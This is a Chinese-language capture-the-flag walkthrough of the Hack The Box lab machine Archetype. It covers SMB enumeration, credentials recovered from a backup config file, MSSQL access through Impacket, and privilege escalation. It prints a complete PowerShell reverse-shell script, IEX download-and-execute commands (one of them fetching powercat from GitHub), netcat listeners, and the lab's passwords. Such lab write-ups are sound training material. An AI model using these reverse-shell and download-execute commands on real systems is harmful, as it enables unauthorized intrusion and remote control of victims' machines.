0%

htb:ArcheType

1. 准备

现在好像不需要之前那样找js生成邀请码了,直接就可以注册账号了。注册完之后,需要配置openvpn来连接到它的实验室环境,选择好Machines之后,在右上角点击连接,会让你选择服务器的配置,然后有一个download vpn,点击它,会下载一个*username.ovpn文件,将这个文件复制到kali虚拟机中执行openvpn *username.ovpn就连接上了。在kali中另开一个terminal就可以ping通machine的IP了。

配置vpn的教程可以在官网查到:https://help.hackthebox.eu/getting-started/v2-introduction-to-vpn-access

2. 扫描

使用nmap扫描:

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

ports就是过滤出一个端口列表:

image-20210420200512579

第二条命令就是去打印出更详细的信息,445和1433是需要关注的:

image-20210420200928189

3. smbclient

smbclient -N -L \\\\10.10.10.27\\:

image-20210420201301027

似乎有个backups可以查看内容。

smbclient -N \\\\10.10.10.27\\backups:

image-20210420201524934

help指令可以查看可以使用命令。

使用dir命令查看一下文件内容,发现有个config文件,使用get命令下载该文件,打开查看,存在密码敏感信息:

image-20210420201908590

image-20210420202155929

userid: ARCHETYPE\sql_svc

password: M3g4c0rp123

4. Impacket使用

然后使用Impacket工具登录SQL账户:

1
2
3
4
5
6
wget https://github.com/SecureAuthCorp/impacket/releases/download/impacket_0_9_21/impacket-0.9.21.tar.gz
tar -xf impacket-0.9.21.tar.gz
cd impacet-0.9.21
pip3 install .
sudo python3 setup.py install
sudo mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

image-20210420204358674

SELECT IS_SRVROLEMEMBER('sysadmin')查看是否具有系统权限:

image-20210420204642808

执行以下命令创建反弹shell:

1
2
3
4
5
6
7
8
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
xp_cmdshell "powershell "IEX (New-Object System.Net.WebClient).DownloadString(\"http://10.10.16.30/shell.ps1\");"

执行上面的命令前需要现在本机上搭建一个简单的服务器,在根目录下添加一个powershell的反弹shell的脚本shell.ps1

1
2
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.30",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

IP需要查看htb分配给自己的局域网IP,本来这里想用一下GitHub上的powercat的,但可能它限制了不能访问外网,所以不行。下面是powercat的使用方法:

powershell "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.233.139 -p 9999 -e cmd"

开启一个terminal执行python3 -m http.server 80

开启另一个窗口执行nc -lnvp 443监听本地443端口,

设置防火墙规则:ufw allow from 10.10.10.27 proto tcp to any port 80,443

执行完xp_cmdshell,最后在nc -lnvp 443的terminal窗口接收到反弹shell:

image-20210420220355325

在Desktop目录下找到flag:

image-20210420220532116

5. 提权

查看Power Shell的历史命令,发现创建管理员账户的命令,也得知密码了MEGACORP_4dm1n!!:

image-20210420221141504

最后使用impacket的psexec.py 连接:

image-20210420221344686

得到system权限shell:

image-20210420221408266

进入Desktop目录,查看root.txt,得到flag:

image-20210420221709864